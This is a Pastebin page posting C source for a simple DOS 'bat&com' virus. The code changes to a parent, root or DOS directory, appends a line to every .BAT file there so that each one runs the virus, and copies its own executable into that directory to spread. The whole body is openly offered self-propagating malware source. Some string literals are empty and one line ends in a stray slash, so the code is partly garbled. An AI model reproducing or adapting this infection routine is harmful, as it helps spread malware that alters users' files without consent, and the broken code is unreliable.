Advertisement
pseudocreator

simple version of bat&com virus

Mar 24th, 2014
368
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.60 KB | None | 0 0
  1.  
  2.     #include <stdio.h>
  3.     #include <dos.h>
  4.     #include <dir.h>
  5.     #include <string.h>
  6.  
  7.             struct ffblk ffblk;
  8.     main()
  9.     {
  10.          char old_dir[MAXPATH];
  11.          Get_Path(old_dir);          
  12.          Pick_A_Dir();                
  13.          Infect_Directory();          
  14.          chdir(old_dir);              
  15.          return 0;
  16.     }
  17.  
  18.  
  19.  
  20.     Pick_A_Dir()
  21.     {
  22.          int done;
  23.          chdir("..");                      
  24.          done=findfirst("*.BAT",&ffblk,0);
  25.  
  26.          if (done)
  27.                 {
  28.                 chdir("\\");
  29.                 done=findfirst("*.BAT",&ffblk,0);
  30.                 if (done) chdir("\\DOS\\");
  31.                 }
  32.     return 0;
  33.     }
  34.  
  35.  
  36.     Infect_Directory()
  37.     {
  38.          int done;
  39.  
  40.          done = findfirst("*.BAT",&ffblk,0);
  41.          while (!done)                      
  42.             {                              
  43.              Do_Batch();                    
  44.              done = findnext(&ffblk);        
  45.             }
  46.  
  47.          if (findfirst("",&ffblk,0))
  48.             {Copy_Virus();}                    
  49.          return 0;                              
  50.     }
  51.  
  52.  
  53.  
  54.     Do_Batch()
  55.     {
  56.             FILE *batch;
  57.             char Infection_Buffer[12];
  58.             char vpath[MAXPATH];
  59.  
  60.             Get_Path(vpath);            
  61.                                        
  62.  
  63.  
  64.             if (vpath[3]==0) vpath[2]=0; /
  65.  
  66.             batch=fopen(ffblk.ff_name, "rt+");
  67.             fseek(batch, -11, SEEK_END);
  68.             fread(Infection_Buffer,11,1,batch);
  69.             Infection_Buffer[11]=0;            
  70.  
  71.             if (strcmp(Infection_Buffer,""))
  72.                     {                                  
  73.                     fseek(batch, 0, SEEK_END);          
  74.                     fprintf(batch,"\n%s\\",vpath);
  75.                     }                            
  76.  
  77.             fclose(batch);
  78.             return 0;
  79.     }
  80.  
  81.  
  82.     Copy_Virus()
  83.     {
  84.          FILE *old_virus, *new_virus;
  85.          int write_length;
  86.          char copy_buffer[1024];              
  87.          old_virus=fopen(_argv[0],"rb");
  88.          new_virus=fopen("","wb");
  89.  
  90.          write_length=1024;
  91.  
  92.          while (write_length==1024)
  93.             {
  94.             write_length=fread(copy_buffer,1,1024,old_virus);
  95.             fwrite(copy_buffer,write_length,1,new_virus);
  96.             }
  97.          fclose(old_virus);
  98.          fclose(new_virus);
  99.          return 0;
  100.     }
  101.  
  102.  
  103.     Get_Path(char *path)
  104.     {
  105.             strcpy(path, "A:\\");
  106.             path[0] ='A' + getdisk();  
  107.             getcurdir(0, path+3);
  108.             return 0;
  109.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement